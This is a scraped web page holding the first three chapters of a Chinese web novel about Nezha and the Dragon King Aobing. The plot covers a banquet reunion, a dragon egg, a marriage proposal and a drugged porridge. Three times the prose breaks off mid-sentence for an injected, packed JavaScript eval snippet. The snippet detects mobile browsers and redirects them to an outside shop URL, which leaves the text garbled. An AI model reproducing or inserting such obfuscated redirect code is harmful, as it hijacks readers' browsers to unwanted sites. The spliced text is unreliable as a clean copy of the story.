《失忆哪吒追妻手札[聊斋]》 1. 重逢 千年蟠桃会。 九重天上瑞彩翩跹,仙乐悠扬。各路神仙驾云而来,袅袅祯祥腾紫雾。 敖丙递了请帖进来,彼时瑶池畔笙歌起,众神谈笑风生,没有谁注意到他这个东海龙王。 自从千年前封神之战后,龙族便从云端跌落到了泥潭。 兴云布雨正神之职被夺,老龙王敖光被镇东海极渊。两位兄长被发配至偏远水域,无诏不得归。敖丙因早产体弱、先天不足,被钦点为名义上的东海之主。 席次按品阶排列,敖丙一路往后走,走到最末端才寻到自己的位置。他坦然坐下,隔着重重云雾,怎么也看不清天帝的宝座。 敖丙自知不该来,然而,他有不得不来的理由……一颗在他腹中孕育而出却始终无法孵化的龙蛋。 五百年前敖丙上天庭述职,和哪吒一夜荒唐,结下了这段孽缘。他与莲花化身的神将命格相克,所诞下的龙蛋无法自然孵出。敖丙只能以精血日日喂养,为孩儿延续寿命。 眼见自己的身体愈发衰微,龙蛋的生机一日弱过一日,敖丙唯有前来赴宴,欲取哪吒一滴血,试试可否让另一人继续喂养孩儿。 宴至酣处,仙乐转为热烈。 敖丙见众神互相敬酒也跟着起身,执樽作敬酒状。最开始没有谁想和他有所交流,渐渐的,大家却注意到了这位龙王。 敖丙有一副好皮囊,像山水间走出的仙君,清冷飘渺。唯有眼皮的小红痣如血似砂,在素净面容上绽出几分艳来。 借着寒暄的由头,敖丙穿过人群,小心观察着周围,终于捉见了那抹熟悉的红。 哪吒就在不远处。 敖丙一步步挪近,心跳声如擂鼓般咚咚的响。只要一滴血,只需一瓣莲—— 哪吒周身簇拥着人群,喧声几乎要盖过仙乐。阐教诸仙围得密密匝匝,金吒、木吒一左一右立在他身旁,殷夫人含笑为幺儿整理襟袖,就连素来威严的李靖也难得展颜。 众星拱月,阖家团圆。 敖丙站得太远,只能从人隙间窥见哪吒的袍角。 几息间,人群攒动,他恍惚瞥见了哪吒的侧脸。眉宇轩昂,笑意朗朗,可来不及细看,又被涌上敬酒的人们淹没了。 敖丙呆呆立着,胸中涌起绵密的涩,似吞了块黄连。 是了。哪吒本就是灵珠子转世,天命所钟。他也是太乙真人的爱徒、托塔天王李靖的第三子,兄长皆位列仙班,母亲慈爱,一门显赫,几乎全家肉身成圣。 这样的人生来被万千宠爱环绕,该站在最明亮处,受三界尊崇。 而自己呢? 敖丙垂眸,瞧见樽中清透的液体。仙酿展了一面圆,映出他醺醺然的脸。 他今日饮了这般多,五脏六腑被灼得发烫,不过是借敬酒之名,才换得一次靠近那人的机会。 恍惚忧郁间,一道翠影拦住了敖丙。 “哟,这不是东海龙王么?” 黄天化不知何时走到了敖丙跟前,满身法宝琅琅,确如一只开屏的孔雀,在宴上亦不掩其华。 敖丙躬身行礼:“炳灵公。” “龙王真是好大的架子,千年不见,连杯酒都不肯敬?”黄天化取过一只高足酒樽,他亲自执壶,直至水液抵达了杯沿,“封神榜上,你我好歹也算‘故交’。” 敖丙抿唇,没有接对方的话。 当年若非自己从中作梗,黄天化本可肉身成圣,而非困在封神榜上,永世不得寸进。怨恨积攒千年,今日终得宣泄的机会。 “请。”黄天化将手中的酒递给敖丙。 敖丙知道这是刁难,却不得不应。余光中那抹红色似乎转了个方向,却终究没有向这边望来。 “敬炳灵公。”敖丙举樽,一饮而尽。 酒液辛辣,潺潺流过烧灼着喉管。敖丙本不善饮,为遮掩行迹已喝下不少,一时颇感头晕目眩。他当即决定告退,胸前却猝然传来湿润的感觉。 糟了。 那里深了两块,湿漉漉地贴着皮肉,伴着隐秘的胀痛。殿前失仪乃是重罪,若再被发现这等不伦不状的私隐…… 敖丙脑中轰然,掩襟踉跄着后退。 “这就想走?”黄天化挑眉。 “失陪。”敖丙连句场面话都顾不得说,转身就往宴席的外围走。 身后似乎传来议论,他不敢回头,只快步穿过长廊。 龙族地位低下,安排的休息厢房远在瑶池边缘,现在赶去显然来不及。好在一处偏殿空落,敖丙闪身而入。 值守天兵闻声赶来,见此,敖丙忙取出一袋灵石塞去:“行个方便。” 天兵掂了掂分量,最终退下了。 这间厢房不大,陈设更是简单,只有一张硬榻、一方矮几。 敖丙到榻边坐下,手忙脚乱地去解自己的盘扣。 这身衣袍是东海库房里所剩无几的好货,扣子也是请了人打造的,样式精致繁复。他的手抖得厉害,几次都滑落,越急越解不开。 终于,最上面两颗盘扣松脱,敖丙忙从储物囊中取出几块丝帕,胡乱擦拭着。 今日冒险赴宴,不过是想取哪吒一滴血,试试能否为孩子续命。结果却连近对方身都难,还落得这般狼狈。 他咬着下唇,眼眶不受控制地泛红。 门外忽有脚步声靠近。 敖丙一惊,慌忙拢住领口,却听见方才的天兵在门外小声提醒:“中坛元帅往这边来了。” 哪吒? 下一刻,门被推开了。 哪吒醉步踉跄,带进大片的仙酿香风。他显了青年法相,身量极高,约莫九尺有余。绛红袍上绣着莲火纹,腰间环佩丁零当啷响。 额间那点朱砂痣化作了一道赤金神印,衬得眼眸狭长,五官深邃如刻。那双瞳金芒流转,乃是天庭正神方有的目色。金眸映出敖丙的身影,却没有半分相识之意。 敖丙惊惶抬首,怔怔望着眼前人,一颗心酸胀满溢。 五百年前,天帝亲手抹去了哪吒的所有记忆。天庭皆知当年伐纣先行官险些被截教妖龙设计,此事为天庭禁忌,诸神皆发重誓永不提及。 “哪里来的龙妖,竟敢擅闯三重天!” 混天绫应声而出,将敖丙缚住。这绫罗看似轻柔,却勒得敖丙腕间生疼。 “我有请柬,”敖丙回过神,“在内衬之中。” 哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117025|195932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吒头昏脑胀地走近对方,看见龙君雪睫像是一只白色的笔,在他脸上细细勾勒。哪吒疑心对方在看自己,来不及发难,这位龙君已收回了视线。 是的,哪吒不记得他。敖丙想。 殿内青烟袅袅,混着奶香在哪吒的鼻尖缭绕。哪吒皱了皱眉,弯身去寻那请柬。这一俯身,耳畔的流苏金饰随之垂落,掠过敖丙裸.露的肩颈。 哪吒这才想起观察眼前人。 碧波袍半褪至臂弯,紫金冠下银发散落在颊边。龙君生得极好,是那种清清淡淡水墨画的、静态的美,一袭出尘的蓝袍,眼皮上的小红痣却画龙点睛,让他整个人生动起来。 那股甜香更浓了,哪吒鼻尖一动,疑心自己闻错了。他低垂着头,忽然俯下身:“这是什么……” “唔!” 敖丙惊惧地瞪大眼睛,凤眸圆圆的,看着那颗埋在自己胸前的脑袋。下一刻,他扬手便朝哪吒面门拍去—— 不曾想,手腕却被对方轻松扣住。 哪吒久经战阵,对付这等反抗如同儿戏。他稍一发力,将敖丙压倒在榻上。混天绫顺势缠绕,将人困得动弹不得。 银发铺了满床,顺着榻沿迤逦而下,如瀑流淌。 “中坛元帅!”敖丙气急,高声唤出封号。 闻声,哪吒动作停了。 天庭规制,凡人祈愿需唤神职封号,经层层筛选方能上达天听。可若是近在咫尺,这般呼唤便如惊雷贯耳。 何况敖丙就在他身下,这一声可以说是直直撞进了哪吒灵台。 哪吒看着被自己压在榻上的龙君,如水的眼眸盈满惊怒,衣襟散乱,露出大片雪白的肤肉。 “你我素不相识,”敖丙强作镇定,斥道,“元帅为何要轻薄于我?” 哪吒醉意散了几分,清明渐复。他茫然地看着身下人:“你是……” “东海龙王,敖丙。” 是了,他不认识这条龙。 今日宴上初见,哪吒只觉对方姿容过盛,与传闻中阴险狡诈的龙族截然不同。方才醉酒误闯进来,他见敖丙衣衫不整在此,第一反应便是擒拿。 “本帅……”哪吒按着额角,赤金的神印明明灭灭,“醉后失仪,唐突了。” 混天绫应念松解,缩回哪吒的豹皮囊。哪吒站直后打量着四周,似在思索自己为何在此,又为何会对一个陌生龙君做出这般僭越的举动。 敖丙已坐起身,脸上血色尽失,唯独眼皮那点红痣艳得惊心。他从内衬取出一方金玉请柬递出,指尖颤颤,泄露了方才的惊惶。 哪吒接过来,醉眼朦胧间拿倒了方向。 他眯着金瞳辨认片刻,好歹认出了天帝宝印,这才彻底信了。 “既是有请,”哪吒将请柬递还,“本帅这就唤仙侍前来——” “不必。” 敖丙忽然出了声。 哪吒回首,见龙君在整理衣袍,试了几次都未能系好。许是方才挣扎弄乱了盘扣,又或者是手抖得厉害。 “我不想旁人看见这副模样,”敖丙蓝眸盈盈地望过来,“元帅既已唐突在先,不妨做次好人弥补……” “帮小仙系上这盘扣。” 2. 盘扣 眼前龙君的耳尖熟透了,连带着那枚红痣变得秾艳。哪吒想起方才唇齿间的甘甜气息,犹豫几秒,最终选择了折返。 扣子是东海特产的玉制成,形似龙鳞,扣眼极其小。哪吒动作生疏,笨拙地摆弄着。 “你身上是什么味道?” 敖丙凤眸中水光潋滟,弯出极浅的弧度:“一些深海制香罢了。元帅若喜欢,改日送些到云楼宫。” “不对。”哪吒凑近些,锁住了那截白,“有甜香。” “……元帅醉得厉害,闻错了。” “是么。” 两人距离极近,敖丙能看清金瞳里自己的倒影,能闻到淡淡酒气裹挟的莲香。 “元帅今日饮了不少。”敖丙做了个整理衣襟的假动作,悄悄凝出一枚冰晶。 “嗯。”哪吒专注系扣,没有注意到对方的异常,“病了许久方醒,难得赴宴,他们便灌得狠了。” 敖丙屏息,见冰刃在指尖成型,他正要动手—— “嘶。” 哪吒轻吸了口气,指腹被扣上的珊瑚划了一下。未出血,只留了道痕迹。 “抱歉,”敖丙慌忙道,“是这饰物……” “无妨。”哪吒随意回了句,继续系最后几枚盘扣。 只差一点。 敖丙暗叹,担心引起对方注意,只好先将冰刃藏入袖中。 或是因为酒醉,哪吒的手指不如平日灵巧,兼之盘扣冰润精致,他一时失了轻重。 “嗤啦。” 笼着薄纱的襟口撕裂,金线崩断,露出内里素白的中衣。 敖丙心尖一抽,垂眸看了眼裂口。这件袍子三个月前便开始制作,是他为今日赴宴特意备下的。 东海已式微,但龙宫到底还有些珍藏。敖丙特意选了这匹碧海潮,命织女以金线相绣,嵌入颗颗莹润的避水珠。 毕竟心底存着些不足为外人道的念想,盼着那人即使记不得,至少能多看自己一眼。 “本帅……”哪吒难得语塞,面上浮现几分愧色,“我赔你一件。” 他在豹皮囊中摸索片刻,取出一件叠得整齐的红袍。莲纹、火云纹路凸绣其间,领口袖缘缀满彩玉,蕴着不加遮掩的明烈。 “这是母亲早年为我制的。”哪吒鸦睫撩起,定定看向对方,“我身形长了,便一直收着。” 敖丙看着那团红,伸手接过:“好。” 龙君裹住了袍子,袖口长出多半截,需挽起两折才能露出手腕,他小心翼翼地打理着。 哪吒立在旁边候着,恰好瞧见了对方的锁骨。那里有一颗极小的红痣,与眼上那颗如出一辙。他莫名有些不自在,连忙背过身去。 接着,两人一齐走出偏殿,立在长廊作别。 “今日多谢元帅,”敖丙披着那件宽大的红袍,辞礼道,“就此别过。” 哪吒正要回礼,一阵疾风忽至。 两人本就站得近,这一吹,不知怎的,敖丙向前踉跄半步,几乎跌入哪吒怀中。两人面庞相距不过寸余,气息交融,成了一个近乎接吻的姿态。 哪吒显然愣住了,却不知为何没有退开,只是看着近在咫尺的容颜。 “元帅发上有花。”敖丙抬起手,轻轻拈下哪吒发间的一片桃瓣。 天庭的花永不凋零,粉瓣鲜嫩,就那么缀在敖丙指尖。哪吒瞧着这光景,想到宴上那道水晶桃花糕,也是这般粉白相间、晶莹剔透,让人想…… 想尝尝是什么滋味。 “多谢。”这念头来得突兀,惊得哪吒连忙压下。 “举手之劳罢了。”敖丙将花瓣放在廊栏上,转身离去。龙君渐行渐远,最终消失在云雾之中。 哪吒在原地立了片刻,才返回宴席。 - 蟠桃宴上仙乐未歇,哪吒落座,酒已醒了大半。他夹了两筷子菜,却食不知味。 “师父。”哪吒忽然开口。 身旁举杯畅饮的太乙真人手一抖:“怎、怎么了?” “如果……徒儿不小心看到了别人的身子,要如何?” “噗——!”太乙真人一口酒喷了出来,呛得连连咳嗽。他惊疑不定地转头,只见自家徒儿端坐如莲,金冠红袍,一派光风霁月的凛然神姿。 “你、你看到谁的身子?”太乙压低声音。 哪吒避而不答,只重复:“要如何?” 太乙真人抚着长须,半晌,幽幽叹道:“若是无心之失倒罢了。但若是……呃,总之,礼不可废,该负责时须负责。” 话音刚落,只见红衣一闪,哪吒已离席而去。 太乙真人望着徒儿远去的背影,摇头苦笑:“真是世风日下啊。” …… 哪吒足踏风火轮,不过瞬息便回到了那间客房。 龙君已杳无踪迹,徒留满室的冷清。 他立在殿中,心里莫名空落落的,似被剜去了一块。混天绫不安地绕他游动,它慢吞吞地摸索着,好像在搜寻方才的人。 殿门未关,廊外的仙桃被风拂过,花瓣纷纷扬扬飘入。一片落在哪吒的掌心,柔软娇嫩粉莹莹,恰似那人拈起的那瓣。 哪吒捻了捻桃花,转身踏出。 “三太子。” 两名仙童路过,见了他急忙行礼。 哪吒问:“敖丙呢?” 仙童不敢隐瞒,垂首答:“启禀三太子,龙王已驾云离去,说是回东海了。” 哪吒望向东方的天际,那里云海翻腾,尽头处隐约可见碧波万顷。 他一步踏出,脚下生出风火轮的赤影。 “元帅要去往何处?”仙童觑见哪吒的神情,不由得惊呼出声。 “东海。” - 东海龙宫。 敖丙刚踏入宫廊,就见到了意想不到的人。来者着一袭金鳞战甲,额生同色的龙角,璨若朝阳。 他的长兄敖甲,被贬至远寒水域值守的金龙。 “大哥。”敖丙心虚地招呼。 “你去蟠桃宴了?”敖甲看见了那件突兀的红袍,眸色渐沉。 他本该驻守属地,然而放心不下自小体弱的幼弟,违令偷返东海。方才在宫中寻人不得正焦躁,却见敖丙披着他人的衣裳归来。 袍子绣纹流丽,火、莲的纹路并非龙族所好,倒像是…… “你去见他了?”敖甲语气冷硬。 敖丙没应声,低头盯着地面。 “丙儿,天庭是什么地方,你不知道?那帮神仙正愁找不到由头再踩我们一脚,你倒好,自己送上门去!” 敖丙悄悄往后缩了半步,试图挪出大哥的视线。 敖甲见他这副姿态,不禁心头火起:“哪吒是不是欺负你了?” “没有的,哥哥。”敖丙终于开了口,解释道,“元帅只是……醉酒误闯,赔了件衣裳。” “误闯?”敖甲冷笑,“九重天规矩森严,他三坛海会大神醉到何处去不得,偏闯到你更衣的偏殿?” 闻言,敖丙望向兄长紧绷的脸。 经久未见,敖甲的皮肤粗糙不少,金铠也蒙了尘。偏远水域气候变化多端,兄长定是吃了不少苦。 “你为何非要去见他?”敖甲压下怒意,却压不住心疼,“父王尚镇深海,你二哥驻扎南荒,我在西北苦寒之地。龙族如今如履薄冰,你身为东海之主,若再出差池……” “哥哥为何回来?”敖丙蓦然抬眼。 那双总是清淡如水的凤眸透出几分执拗,他注视着敖甲的眼睛:“你本在万里之外值守,此刻却出现在东海。若是被天庭知晓……” 敖甲语塞。 “我去见他的心情,”敖丙声音更轻了,“与哥哥你来见我的心情,是一样的。” 不过是想见一面罢了。 不过是在漫长的神生里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117026|195932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想看一眼惦念之人罢了。 敖甲瞧着弟弟苍白的面容,喉中似哽了什么,半晌说不出话来。 是了,明知不该却偏要为之。可他怎能与混世魔王相提并论?那厮害龙族至此,害父王镇海,害他们兄弟离散,如今还…… “你好自为之!”敖甲将袖子团了又团,也没舍得甩出去,只窝窝囊囊地走了。 敖丙望着兄长的背影,心头酸楚翻涌。 他想说,哥哥,我不是去叙旧情,我是去取那人的血,救你侄儿的命。 东海上下,除却镇在深海的敖光与侍奉三代龙王的龟丞相,无人知晓这个秘密。敖甲、敖乙只知弟弟身怀异症,却不知异症实是哪吒骨血,更不知这颗龙蛋日日夜夜汲取着弟弟的生机。 龙蛋活,敖丙衰。 精血喂养耗损元气,终有一日喂养者会油尽灯枯。 敖甲向来憎恶哪吒,若知这蛋是那人的血脉,怕是要当场砸碎了事。 而敖丙自己……舍不得。 今日赴宴本是赌命一试,若能取哪吒的血,或许能为龙蛋再续生机。 可天庭耳目众多,哪吒法力高强,敖丙几次欲出手皆未敢妄动。后来廊下拈花,距哪吒不过寸余,敖丙却只拈起一片无关紧要的桃瓣。 或许风太柔,桃花太香,哪吒看他的眼神又太专注。 所以他怯了。 - 寝殿内碧水沉沉,明珠嵌壁。 敖丙褪下红袍,小心地叠放在榻边,然后取出了龙蛋。龙蛋通体粉嫩,莹莹如玉,大小恰如凡人足月的婴孩。 敖丙取出一柄小刀,在掌心停留了会儿,最后转向腕间。寒光闪过,冰刃划破肌肤。熔金的血珠渗出,滴落在粉嫩圆润的物事上。 血迅速被吸收,整颗蛋泛起粉晕。蛋壳传来敲击声,一下又一下——里面的小生命在轻轻悸动。 见状,敖丙露出几分笑,低声呢喃:“今日见了你父亲……他很好,还是那般意气风发。只是不记得我们了。” 龙蛋上浅浅的光闪了闪。 “不过没关系。”敖丙又滴下几滴血,“爹爹会护着你,无论如何都会。” 喂血毕,敖丙浑身虚汗涔涔。这已是今日第三次喂血,他本就孱弱的身子更显虚乏。 好一会儿,敖丙才颤着手取过那件红袍,缓缓覆在身上。 鼻尖贴近布料,轻嗅衣料上极淡的火灵气息。 这是件新衣,不曾沾染主人多少味道。可即便只有这一点点,也让他贪恋地多闻了片刻。 龙尾不自觉从袍下显现,蓝鳞闪闪,温柔地环住那枚粉嫩的龙蛋。敖丙将蛋拢在怀中,龙尾护巢般盘绕起来,形成安稳的保护圈。 红衣覆身,他似被一个灼热的怀抱拥着入眠。于是敖丙就那么抱着蛋、裹着袍,沉沉睡去。 深海无日月,不知过了多久—— “陛下,陛下!” 敖丙倏然惊醒了,龙尾本能地收紧,将粉蛋护进怀里。 寝殿外一片喧哗,脚步声纷纷,虾兵蟹将的声音里满是慌乱。 “中坛元帅闯宫了!” “拦不住!根本拦不住!” “快去禀报龟丞相——” 远处,赤红的身影破浪而来,所过之处虾兵蟹将尽数倒伏。哪吒径直奔向水晶宫正殿,似有指引。 敖丙仓惶起身,将龙蛋藏入被褥。他犹豫片刻,终是重新披上那件红袍。敖丙挽起宽大的袍袖,整理好衣襟,鼻尖耸了耸,那点火灵气息似乎真切了些许。 他弯起唇角,推开了门。 龟丞相在寝殿外焦急地等候,见敖丙披着红袍出来,老眼一怔:“陛下。” “可知中坛元帅的来意?” 龟丞相摇头:“那人只说要见陛下,面色看不真切。” “我知道了。” 敖丙整了整衣冠,向正殿走去。 3. 留宿 水晶宫。 敖丙端坐主位,望着那道大红色。 阶下,虾兵蟹将侍立在两侧,皆垂首屏息。毕竟这位三坛海会大神千年前曾抽龙筋、闹东海,如今虽封神归位,余威依然存在。 哪吒倒是自在,忙着品尝龙宫特产的糯糕。糕点以琼脂调和珍珠粉制成,通体莹白剔透,入口即化。 “东海佳肴颇为别致。”哪吒放下竹箸,“比天庭宴席清淡些,却更加甘甜。” “元帅谬赞。”敖丙声音淡淡,抿了一口茶,“不知中坛元帅大驾,所为何事?” 茶是火山口旁生长的红岩草,入口是淡淡的苦,回味却甘。敖丙饮完茶掩了下袖子,那里藏着冰针、瓷瓶—— 他随时准备动手。 “本帅今日在瑶池偏殿,唐突之下见了龙王身子。然礼不可废,既已如此,我自当负责。” “故而,”哪吒一字一顿,“本帅是来提亲的。” 殿中倏尔静了下来,虾兵蟹将面面相觑,龟丞相手中的玉如意啪嗒落了地。敖丙更是愣在座上,一时间不知该如何回应。 “……什么?”敖丙望着哪吒,对方那张俊美面容上神色出奇的认真,瞧着不似玩笑。 好在大哥已返回值守水域,若敖甲在此,现在定要显化龙身,掀了这水晶宫顶。 默然良久,敖丙才找回自己的声音:“元帅莫不是还未醒酒?” “清醒得很。” “我们才相识一日。” “那又如何?”哪吒黑眸炯炯,“缘分到了,便是到了。” 这话说得理所当然,敖丙忽然想笑。千年前哪吒看中什么就要夺什么,如今失了记忆,性子却分毫未变。 “东海贫瘠,不敢高攀元帅。”敖丙放下茶盏,做了个请的手势,“今日之事元帅本是无心之失,所以不必挂怀。天色已晚,元帅若没什么事……” “东海风光甚好。”哪吒打断他,环视殿中华丽的陈设,悠然地说,“本帅想留宿一夜,赏一赏深海奇景。” 逐客令被轻飘飘挡了回来。 敖丙蹙眉想要拒绝,忽得心念一动。 留宿。 是麻烦,却也是机会。宴上他未能得手,今夜岂不是取血的绝佳时机? “既然元帅有意,龙宫自当尽地主之谊。”敖丙沉吟良久才回答,又唤来龟丞相,“备上海鲜粥,予元帅暖胃。” “是。” - 后厨热气蒸腾。 锅中的海鲜粥咕嘟冒泡,里面千年海参、珠贝、雪蟹等珍品沉沉浮浮。 敖丙屏退众人,独留一个侍仆在侧。侍仆身形极高,几乎挡住了整个灶台,他覆着银质面具,可见掩藏在其下的黑色咒纹。 “主子,真要如此?”侍仆疑惑地发问,看着敖丙打开一包白色粉末。 “嗯。” “这可是一整包。” 闻言,敖丙直接将粉末倒入浓稠的海鲜粥里。药遇热即化,却因分量太多,在粥汤中凝成团团絮状物。 敖丙执勺搅拌,神色平静地答:“无妨。中坛元帅乃莲花化身,百毒不侵。便是毒药也奈何不得他,何况区区蒙汗药?” “这……”侍仆看着那锅成了药糊的粥,面具下的嘴角抽了抽,“量是否多了些?” 敖丙语气愈发的冷:“他神力深厚,少了恐怕没有效果。” “也是,主子您开心便好。” - 宴再开,已移至偏殿小厅。 敖丙亲自盛了一碗粥,推到哪吒面前。粥面撒了海藻碎和蟹黄,袅袅的香气飘渺。 “这粥颇有暖身安神之效,元帅尝尝。” “龙王先前对本帅爱搭不理,”哪吒没有接,只似笑非笑地看他,“现在怎么如此热情?” “待客之道罢了。”敖丙面不改色,自己先执匙舀了一勺送入口中。粥极其鲜美,盖过了药粉的涩味,他强作自然地咽下。 哪吒看着那碗卖相堪忧的粥,又看看敖丙。龙君认真地吃着,待唇边沾上了粥渍,湿红的舌尖便飞快地舔去。 少焉,哪吒端起碗。他吃得豪迈,几口就见了底,还赞道:“味道甚好。” 敖丙垂眸,又为他添了半碗。 眼见哪吒眼中渐生倦意,敖丙适时地提醒,“元帅今日一路劳顿,不如早些歇息。” “也好。”哪吒答。 “小仙送元帅。” “不必。” 敖丙目送那袭红衣消失在门外,又坐了约一炷香时间,估摸着药效该发作了,方才起身。 客房设在龙宫的后殿,周围全是珊瑚园林,十足十的幽静。 哪吒刚回房就觉得困意汹涌,索性直接倒在榻上,合衣而眠。 一刻钟后,房门悄无声息地开了。 敖丙握着一柄匕首,闪身而入。此物乃北海寒铁所铸,所致的伤口可以即刻凝结,用来行刺最是隐秘。 他踩着昏朦的光影靠近榻边,看着哪吒沉睡的侧颜。红衣神将长而黑的睫垂下,白日的威压削减,添了几分稚气。 敖丙甩了甩头,摒弃杂念,将匕首对准哪吒的腕间。 赤红绫缎原本盘在梁上,一见敖丙进门,立刻如蛇般昂首警戒起来。见敖丙欲行不轨之事,它猛地窜出,捆住了敖丙的腕。绫缎灼热滚烫,惊得敖丙险些松了手。 敖丙心中一沉。 法宝有灵,他早该想到。 得知硬碰不得,敖丙只得收起匕首,温声道:“我来看你家主人。” 混天绫见他不再反抗,缠得更紧了。绫缎顺着腕间向上,缓缓挨过小臂、肘弯,最后磨磨蹭蹭地环住了龙族的腰身。 “松开。”敖丙低声呵斥。 混天绫不听,反而猛一发力—— 天旋地转。 敖丙被拽得向前扑倒,不偏不倚摔进榻中,正正跌入哪吒怀里。莲火气息混着酒气扑面而来,敖丙脑中嗡鸣,来不及反应,又被一条手臂牢牢箍住。 是哪吒。 这人分明睡着,力气却大得惊人,将敖丙牢牢按在胸前。 混天绫趁机缠绕,将两人绑在一处。赤红绫缎在红袍间穿梭,最终打了个死结。 哪吒胸膛的心跳沉稳有力,隔着衣裳传到他耳畔。 敖丙僵住了。 他想叫醒哪吒,可这样一来,下药之事必会暴露。而且,若有旁人进来看见东海龙王与三坛海会大神这般姿态同榻,龙族本就岌岌可危的处境只怕会雪上加霜。 于是敖丙不再挣动,任哪吒抱着。 混天绫察觉到他的松懈,力道温柔了些,只松松环着两人,似一道赤红的缘线。 蒙汗药的效力逐渐上涌。 敖丙本就喝了几口粥,强撑至今已是极限。他努力睁眼,想等哪吒睡熟些再设法脱身。 那碗粥,药确乎下多了。 敖丙眼皮越来越重,他终于放弃,将脸埋在哪吒的肩窝。 窗外,一尾发光水母飘过,照亮了龙君袖中的匕首。白刃锋芒毕露,璨璨然。 敖丙知道取血之事,今夜又成空。 可他在哪吒怀中做了个好梦,梦里只有少年哪吒拉着他的手,穿过陈塘关的集市,说:“敖丙,我请你吃糖葫芦。” - “陛下何在?” 夜深海寂,龟丞相拖着沉重的甲壳,蹒跚寻索着。老龟寻遍寝宫、书房,怎么都不见自家陛下的身影。 老龟心中颇感不安。 陛下素来浅眠,再加上身子衰弱,从未有深夜不归寝的先例。 待他行至客院的厢房外,终于捕捉到了敖丙的灵力波动。这是招待贵客的别院,今夜只住着一人: 三坛海会大神,哪吒。 院门虚掩,里面悄无声息,没有打斗挣扎的痕迹。 龟丞相抬起前爪想敲门,又迟疑起来。 他本想去寻敖甲、敖乙两位殿下,可金银二龙皆在万里之外镇守,远水难救近火。而且敖丙既选择如此,自有他的打算。 老龟活了万余年,有些事他看得明白。今日宴上,那位看龙王的眼神…… 他听着更漏滴滴答答,终是转身离去。 - 东海极渊,定海神针所在。 海底沉黑如墨,水压可碾碎金石。一根通天彻地的巨柱镇在中央,柱身刻满了金色的符文,一笔一划藏着天道威压。 铁柱中央,有一条青色巨龙盘踞。龙首低垂,深蓝色的龙目半阖。 正是敖光。 待龟丞相的身影出现,青龙霍然睁开了眼:“丞相?这般时辰前来,可是丙儿出了事?” 龟丞相匍匐行礼:“惊扰了陛下。实在是三殿下今夜未归寝殿,老臣遍寻各处不得。” 他斟酌词句,将所有事情一一禀报。每说一句,青龙眼中的蓝就浓上几分,到最后,瞳色已如暴风雨前的深海,暗流涌动。 “哪吒!!!” 敖光龙口大张,发出的却是人言:“黄口小儿欺我龙族太甚!当年害我儿上封神榜,如今竟敢、竟敢——” 锁链哗啦响,金色符文亮起,化作无数的光鞭打在龙躯之上。敖光嘶吼着,在渊底刨出深深的沟壑,却始终无法挣脱这天帝亲设的阵法。 “陛下息怒!”龟丞相急道,“当心符文反噬会伤及您的龙元啊!” 敖光喘息良久,终是无力地垂下脑袋:“是我无用,护不住龙族……” 他骂天庭无道,骂哪吒孽障,骂自己无能护不住孩儿,骂深海囚牢困了龙身却困不住心痛。龙吟一声惨过一声,到最后变成了凄厉哀鸣,在深渊中回荡不绝,令闻者心碎。 龟丞相伏地不起,任由龙血与泪水混在一处。 “三殿下聪慧, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117027|195932||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必有计较。老臣观那哪吒此来似无恶意,或许——” “无恶意?天庭何时对龙族有过善意?天帝削我神职、镇我深渊、流放我儿,如今连我最后一个孩儿都不放过?!” 话落,敖光又疯了般撞向禁制,身上的伤痕触目惊心,龙血洒落染金了渊底。 “陛下息怒!息怒啊!”龟丞相竭力游近些,禁不住老泪纵横,“封神之战,龙族选错阵营是必然,此乃天数。” 敖光闻言闭上了眼,半晌,才问道:“那孩子…那蛋可还好?” 老龟默然,几息后实话实说:“三殿下用自己的精血为其强续生命,如今龙蛋仍显衰微。三殿下今日赴宴,恐怕也是为了……” “取哪吒的血。”敖光接了话,深蓝眼眸望着水晶宫的方向,“我儿命苦……传话给丙儿,就说父王一切安好,让他莫要挂念。” “丞相,去守着丙儿。若哪吒敢伤他半分,即便拼着魂飞魄散,我也要挣开这锁链,上天庭讨个公道。” “陛下!”龟丞相骇然。 “去罢。”锁链又响,青龙盘踞回渊底,将龙头埋入爪间,昔日的东海之主终于露出了疲态。 龟丞相默立良久,方转身离去。 - 深海无昼夜,只凭宫中的明珠调节光线。这会儿大多已暗,唯余几盏长明灯亮着,映得水影幢幢。 回程路上,老龟心神恍惚。 “丞相。” 龟丞相循着声音的来源看去,只见戴银质面具的高大侍仆立在灯下,几乎与阴影融为一体。 “你在此作甚?”龟丞相警惕道。 “寻陛下。”侍仆答得简洁,却句句不离敖丙,“晚膳未见陛下用。” 龟丞相打量他片刻:“陛下已就寝,莫去打扰。你也不要在宫中乱走,回房歇着吧。” “丞相既说陛下已安歇,属下便告退了。”侍仆说罢行了礼,转身离开。 - 次日。 